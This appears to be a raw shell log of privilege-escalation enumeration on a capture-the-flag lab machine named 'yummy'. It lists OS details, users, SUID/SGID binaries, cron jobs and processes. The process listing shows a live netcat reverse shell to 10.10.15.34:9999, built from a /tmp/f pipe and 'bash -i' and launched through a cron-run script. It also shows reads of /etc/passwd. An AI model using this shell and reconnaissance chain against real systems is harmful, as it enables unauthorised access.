System/Kernel
mysql@yummy:/var/spool/cron$ file /bin/bash ; uname -a ; cat /etc/*release
/bin/bash: ELF 64-bit LSB pie executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, BuildID[sha1]=2f77b36371c214e11670c7d9d92727e9a49f626b, for GNU/Linux 3.2.0, stripped
Linux yummy 6.8.0-31-generic #31-Ubuntu SMP PREEMPT_DYNAMIC Sat Apr 20 00:40:06 UTC 2024 x86_64 x86_64 x86_64 GNU/Linux
DISTRIB_ID=Ubuntu
DISTRIB_RELEASE=24.04
DISTRIB_CODENAME=noble
DISTRIB_DESCRIPTION="Ubuntu 24.04.1 LTS"
PRETTY_NAME="Ubuntu 24.04.1 LTS"
NAME="Ubuntu"
VERSION_ID="24.04"
VERSION="24.04.1 LTS (Noble Numbat)"
VERSION_CODENAME=noble
ID=ubuntu
ID_LIKE=debian
HOME_URL="https://www.ubuntu.com/"
SUPPORT_URL="https://help.ubuntu.com/"
BUG_REPORT_URL="https://bugs.launchpad.net/ubuntu/"
PRIVACY_POLICY_URL="https://www.ubuntu.com/legal/terms-and-policies/privacy-policy"
UBUNTU_CODENAME=noble
LOGO=ubuntu-logo64-bit
Ubuntu 24.04.1 LTS (Noble Numbat)
6.8.0-31-generic
Networks
mysql@yummy:/var/spool/cron$ ip route ; arp -a
default via 10.129.0.1 dev eth0
10.129.0.0/16 dev eth0 proto kernel scope link src 10.129.231.153
? (10.129.0.1) at 00:50:56:94:39:11 [ether] on eth0
mysql@yummy:/var/spool/cron$ netstat -antup4
netstat -antup4
Active Internet connections (servers and established)
Proto Recv-Q Send-Q Local Address Foreign Address State PID/Program name
tcp 0 0 127.0.0.1:33060 0.0.0.0:* LISTEN 1541/mysqld
tcp 0 0 127.0.0.1:25 0.0.0.0:* LISTEN -
tcp 0 0 127.0.0.1:3000 0.0.0.0:* LISTEN -
tcp 0 0 127.0.0.53:53 0.0.0.0:* LISTEN -
tcp 0 0 127.0.0.1:3306 0.0.0.0:* LISTEN 1541/mysqld
tcp 0 0 127.0.0.54:53 0.0.0.0:* LISTEN -
tcp 0 0 127.0.0.1:2019 0.0.0.0:* LISTEN -
tcp 0 17 10.129.231.153:34556 10.10.15.34:9999 ESTABLISHED 9299/nc
udp 0 0 10.129.231.153:34826 1.1.1.1:53 ESTABLISHED -
udp 0 0 127.0.0.54:53 0.0.0.0:* -
udp 0 0 127.0.0.53:53 0.0.0.0:* -
udp 0 0 0.0.0.0:68 0.0.0.0:* -
udp 0 0 10.129.231.153:47204 1.1.1.1:53 ESTABLISHED -
udp 0 0 10.129.231.153:55425 1.1.1.1:53 ESTABLISHED -
udp 0 0 127.0.0.1:32937 127.0.0.53:53 ESTABLISHED - 127.0.0.1:33060
127.0.0.1:25
127.0.0.1:3000
127.0.0.1:3306
Users & Groups
mysql@yummy:/var/spool/cron$ cat /etc/passwd ; ll /home
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/run/ircd:/usr/sbin/nologin
_apt:x:42:65534::/nonexistent:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
systemd-network:x:998:998:systemd Network Management:/:/usr/sbin/nologin
systemd-timesync:x:997:997:systemd Time Synchronization:/:/usr/sbin/nologin
dhcpcd:x:100:65534:DHCP Client Daemon,,,:/usr/lib/dhcpcd:/bin/false
messagebus:x:101:102::/nonexistent:/usr/sbin/nologin
systemd-resolve:x:992:992:systemd Resolver:/:/usr/sbin/nologin
pollinate:x:102:1::/var/cache/pollinate:/bin/false
polkitd:x:991:991:User for polkitd:/:/usr/sbin/nologin
syslog:x:103:104::/nonexistent:/usr/sbin/nologin
uuidd:x:104:105::/run/uuidd:/usr/sbin/nologin
tcpdump:x:105:107::/nonexistent:/usr/sbin/nologin
tss:x:106:108:TPM software stack,,,:/var/lib/tpm:/bin/false
landscape:x:107:109::/var/lib/landscape:/usr/sbin/nologin
fwupd-refresh:x:989:989:Firmware update daemon:/var/lib/fwupd:/usr/sbin/nologin
usbmux:x:108:46:usbmux daemon,,,:/var/lib/usbmux:/usr/sbin/nologin
sshd:x:109:65534::/run/sshd:/usr/sbin/nologin
dev:x:1000:1000:dev:/home/dev:/bin/bash
mysql:x:110:110:MySQL Server,,,:/nonexistent:/bin/false
caddy:x:999:988:Caddy web server:/var/lib/caddy:/usr/sbin/nologin
postfix:x:111:112::/var/spool/postfix:/usr/sbin/nologin
qa:x:1001:1001::/home/qa:/bin/bash
_laurel:x:996:987::/var/log/laurel:/bin/false
total 16K
4.0K drwxr-x--- 7 dev dev 4.0K Oct 6 19:20 dev
4.0K drwxr-xr-x 24 root root 4.0K Sep 30 08:16 ..
4.0K drwxr-x--- 6 qa qa 4.0K Sep 30 07:22 qa
4.0K drwxr-xr-x 4 root root 4.0K May 27 06:08 .dev
qa
mysql@yummy:/var/spool/cron$ cut -d: -f1 /etc/passwd | xargs -n1 id
uid=0(root) gid=0(root) groups=0(root)
uid=1(daemon) gid=1(daemon) groups=1(daemon)
uid=2(bin) gid=2(bin) groups=2(bin)
uid=3(sys) gid=3(sys) groups=3(sys)
uid=4(sync) gid=65534(nogroup) groups=65534(nogroup)
uid=5(games) gid=60(games) groups=60(games)
uid=6(man) gid=12(man) groups=12(man)
uid=7(lp) gid=7(lp) groups=7(lp)
uid=8(mail) gid=8(mail) groups=8(mail)
uid=9(news) gid=9(news) groups=9(news)
uid=10(uucp) gid=10(uucp) groups=10(uucp)
uid=13(proxy) gid=13(proxy) groups=13(proxy)
uid=33(www-data) gid=33(www-data) groups=33(www-data)
uid=34(backup) gid=34(backup) groups=34(backup)
uid=38(list) gid=38(list) groups=38(list)
uid=39(irc) gid=39(irc) groups=39(irc)
uid=42(_apt) gid=65534(nogroup) groups=65534(nogroup)
uid=65534(nobody) gid=65534(nogroup) groups=65534(nogroup)
uid=998(systemd-network) gid=998(systemd-network) groups=998(systemd-network)
uid=997(systemd-timesync) gid=997(systemd-timesync) groups=997(systemd-timesync)
uid=100(dhcpcd) gid=65534(nogroup) groups=65534(nogroup)
uid=101(messagebus) gid=102(messagebus) groups=102(messagebus)
uid=992(systemd-resolve) gid=992(systemd-resolve) groups=992(systemd-resolve)
uid=102(pollinate) gid=1(daemon) groups=1(daemon)
uid=991(polkitd) gid=991(polkitd) groups=991(polkitd)
uid=103(syslog) gid=104(syslog) groups=104(syslog),4(adm)
uid=104(uuidd) gid=105(uuidd) groups=105(uuidd)
uid=105(tcpdump) gid=107(tcpdump) groups=107(tcpdump)
uid=106(tss) gid=108(tss) groups=108(tss)
uid=107(landscape) gid=109(landscape) groups=109(landscape)
uid=989(fwupd-refresh) gid=989(fwupd-refresh) groups=989(fwupd-refresh)
uid=108(usbmux) gid=46(plugdev) groups=46(plugdev)
uid=109(sshd) gid=65534(nogroup) groups=65534(nogroup)
uid=1000(dev) gid=1000(dev) groups=1000(dev)
uid=110(mysql) gid=110(mysql) groups=110(mysql)
uid=999(caddy) gid=988(caddy) groups=988(caddy),33(www-data)
uid=111(postfix) gid=112(postfix) groups=112(postfix)
uid=1001(qa) gid=1001(qa) groups=1001(qa)
uid=996(_laurel) gid=987(_laurel) groups=987(_laurel)uid=1000(dev) gid=1000(dev) groups=1000(dev)
uid=1001(qa) gid=1001(qa) groups=1001(qa)
SUIDs
mysql@yummy:/var/spool/cron$ find / -perm -04000 -ls -type f 2>/dev/null
18500 56 -rwsr-xr-x 1 root root 55680 Aug 9 02:33 /usr/bin/su
879 64 -rwsr-xr-x 1 root root 64152 Apr 9 2024 /usr/bin/passwd
566 44 -rwsr-xr-x 1 root root 44760 Apr 9 2024 /usr/bin/chsh
11373 52 -rwsr-xr-x 1 root root 51584 Aug 9 02:33 /usr/bin/mount
1121 272 -rwsr-xr-x 1 root root 277936 Apr 8 2024 /usr/bin/sudo
11374 40 -rwsr-xr-x 1 root root 39296 Aug 9 02:33 /usr/bin/umount
843 40 -rwsr-xr-x 1 root root 40664 Apr 9 2024 /usr/bin/newgrp
690 76 -rwsr-xr-x 1 root root 76248 Apr 9 2024 /usr/bin/gpasswd
560 72 -rwsr-xr-x 1 root root 72792 Apr 9 2024 /usr/bin/chfn
674 40 -rwsr-xr-x 1 root root 39296 Apr 8 2024 /usr/bin/fusermount3
27170 336 -rwsr-xr-x 1 root root 342632 Aug 9 02:33 /usr/lib/openssh/ssh-keysign
18437 36 -rwsr-xr-- 1 root messagebus 34960 Aug 9 02:33 /usr/lib/dbus-1.0/dbus-daemon-launch-helper
1632 20 -rwsr-xr-x 1 root root 18736 Apr 3 2024 /usr/lib/polkit-1/polkit-agent-helper-1
9453 156 -rwsr-xr-x 1 root root 159016 Aug 20 22:39 /usr/lib/snapd/snap-confineSGIDs
mysql@yummy:/var/spool/cron$ find / -perm -02000 -ls -type f 2>/dev/null
34577 4 drwxrwsrwt 2 root root 4096 Apr 23 09:40 /var/crash
265148 4 drwx--s--- 2 postfix postdrop 4096 Oct 6 14:45 /var/spool/postfix/public
34582 4 drwxrwsr-x 2 root mail 4096 Oct 6 19:23 /var/mail
34580 4 drwxrwsr-x 2 root staff 4096 Apr 22 13:08 /var/local
34770 4 drwxrwsr-x 2 uuidd uuidd 4096 Apr 23 09:45 /var/lib/libuuid
36279 4 drwxr-sr-x 3 root systemd-journal 4096 May 15 13:06 /var/log/journal
177900 16 drwxr-sr-x 2 root systemd-journal 16384 Oct 6 18:21 /var/log/journal/7387b365e9074891839f1d0850cf59ac
27154 304 -rwxr-sr-x 1 root _ssh 309688 Aug 9 02:33 /usr/bin/ssh-agent
657 28 -rwxr-sr-x 1 root shadow 27152 Apr 9 2024 /usr/bin/expiry
45956 16 -rwxr-sr-x 1 root root 15504 Mar 31 2024 /usr/bin/dotlock.mailutils
556 72 -rwxr-sr-x 1 root shadow 72184 Apr 9 2024 /usr/bin/chage
591 40 -rwxr-sr-x 1 root crontab 39664 Apr 23 09:45 /usr/bin/crontab
131547 4 drwxrwsr-x 2 root staff 4096 May 15 13:02 /usr/local/share/fonts
11341 32 -rwxr-sr-x 1 root shadow 31040 May 2 22:20 /usr/sbin/unix_chkpwd
10991 28 -rwxr-sr-x 1 root shadow 26944 May 2 22:20 /usr/sbin/pam_extrausers_chkpwd
45746 24 -r-xr-sr-x 1 root postdrop 22912 Apr 8 2024 /usr/sbin/postqueue
45736 24 -r-xr-sr-x 1 root postdrop 22960 Apr 8 2024 /usr/sbin/postdrop
14570 16 -rwxr-sr-x 1 root utmp 14488 Apr 23 09:45 /usr/lib/x86_64-linux-gnu/utempter/utempter
545 0 drwxr-sr-x 2 root systemd-journal 40 Oct 6 14:45 /run/log/journalProcesses
mysql@yummy:/var/spool/cron$ ps -auxwww
USER PID %CPU %MEM VSZ RSS TTY STAT START TIME COMMAND
mysql 1541 0.6 10.6 1787352 421844 ? Ssl 14:45 1:55 /usr/sbin/mysqld
mysql 9268 0.0 0.0 2800 1664 ? Ss 18:21 0:00 /bin/sh -c /bin/bash /data/scripts/dbmonitor.sh
mysql 9269 0.0 0.0 7340 3584 ? S 18:21 0:00 /bin/bash /data/scripts/dbmonitor.sh
mysql 9292 0.0 0.0 7340 3328 ? S 18:21 0:00 /bin/bash /data/scripts/fixer-v___
mysql 9294 0.0 0.0 7340 3456 ? S 18:21 0:00 bash
mysql 9297 0.0 0.0 5828 1792 ? S 18:21 0:00 cat /tmp/f
mysql 9298 0.0 0.1 7604 4352 ? S 18:21 0:00 bash -i
mysql 9299 0.0 0.0 3436 2176 ? S 18:21 0:00 nc 10.10.15.34 9999
mysql 11422 0.0 0.0 5704 2176 ? S 19:19 0:00 script /dev/null -c bash
mysql 11423 0.0 0.0 2800 1664 pts/1 Ss 19:19 0:00 sh -c bash
mysql 11424 0.0 0.1 7604 4352 pts/1 S 19:19 0:00 bash
mysql 11635 0.0 0.1 12184 5248 pts/1 R+ 19:23 0:00 ps -auxwwwCron & Systemd
mysql@yummy:/var/spool/cron$ crontab -l ; cat /etc/crontab ; systemctl list-timers
no crontab for mysql
# /etc/crontab: system-wide crontab
# Unlike any other crontab you don't have to run the `crontab'
# command to install the new version when you edit this file
# and files in /etc/cron.d. These files also have username fields,
# that none of the other crontabs do.
SHELL=/bin/sh
# You can also override PATH, but by default, newer versions inherit it from the environment
#PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin
# Example of job definition:
# .---------------- minute (0 - 59)
# | .------------- hour (0 - 23)
# | | .---------- day of month (1 - 31)
# | | | .------- month (1 - 12) OR jan,feb,mar,apr ...
# | | | | .---- day of week (0 - 6) (Sunday=0 or 7) OR sun,mon,tue,wed,thu,fri,sat
# | | | | |
# * * * * * user-name command to be executed
17 * * * * root cd / && run-parts --report /etc/cron.hourly
25 6 * * * root test -x /usr/sbin/anacron || { cd / && run-parts --report /etc/cron.daily; }
47 6 * * 7 root test -x /usr/sbin/anacron || { cd / && run-parts --report /etc/cron.weekly; }
52 6 1 * * root test -x /usr/sbin/anacron || { cd / && run-parts --report /etc/cron.monthly; }
#
*/1 * * * * www-data /bin/bash /data/scripts/app_backup.sh
*/15 * * * * mysql /bin/bash /data/scripts/table_cleanup.sh
* * * * * mysql /bin/bash /data/scripts/dbmonitor.sh
NEXT LEFT LAST PASSED >
Sun 2024-10-06 19:30:00 UTC 6min Sun 2024-10-06 19:20:01 UTC 3min 52s ago >
Sun 2024-10-06 19:48:11 UTC 24min Sun 2024-10-06 18:52:23 UTC 31min ago >
Sun 2024-10-06 20:02:52 UTC 38min Sun 2024-10-06 16:09:59 UTC 3h 13min ago >
Sun 2024-10-06 23:18:56 UTC 3h 55min Mon 2024-09-30 06:46:01 UTC - >
Mon 2024-10-07 00:00:00 UTC 4h 36min Sun 2024-10-06 14:45:23 UTC 4h 38min ago >
Mon 2024-10-07 00:00:00 UTC 4h 36min Sun 2024-10-06 14:45:23 UTC 4h 38min ago >
Mon 2024-10-07 00:07:00 UTC 4h 43min - - >
Mon 2024-10-07 01:39:07 UTC 6h Mon 2024-09-30 06:35:06 UTC - >
Mon 2024-10-07 04:10:01 UTC 8h Sun 2024-10-06 14:51:15 UTC 4h 32min ago >
Mon 2024-10-07 06:44:15 UTC 11h Sun 2024-10-06 14:51:15 UTC 4h 32min ago >
Mon 2024-10-07 14:50:35 UTC 19h Sun 2024-10-06 14:50:35 UTC 4h 33min ago >
Mon 2024-10-07 15:00:15 UTC 19h Sun 2024-10-06 15:00:15 UTC 4h 23min ago >
Tue 2024-10-08 05:52:06 UTC 1 day 10h Mon 2024-05-27 19:07:44 UTC - >
Sun 2024-10-13 03:10:44 UTC 6 days Sun 2024-10-06 14:45:50 UTC 4h 38min ago >
14 timers listed.
Pass --all to see loaded but inactive timers, too.
lines 1-18/18 (END)*/1 * * * * www-data /bin/bash /data/scripts/app_backup.sh
*/15 * * * * mysql /bin/bash /data/scripts/table_cleanup.sh
* * * * * mysql /bin/bash /data/scripts/dbmonitor.sh
Sudo Version
mysql@yummy:/var/spool/cron$ sudo --version
Sudo version 1.9.15p5
Sudoers policy plugin version 1.9.15p5
Sudoers file grammar version 50
Sudoers I/O plugin version 1.9.15p5
Sudoers audit plugin version 1.9.15p5Sudo version 1.9.15p5
Glibc Version
mysql@yummy:/var/spool/cron$ ldd --version
ldd (Ubuntu GLIBC 2.39-0ubuntu8.3) 2.39
Copyright (C) 2024 Free Software Foundation, Inc.
This is free software; see the source for copying conditions. There is NO
warranty; not even for MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.
Written by Roland McGrath and Ulrich Drepper.ldd (Ubuntu GLIBC 2.39-0ubuntu8.3) 2.39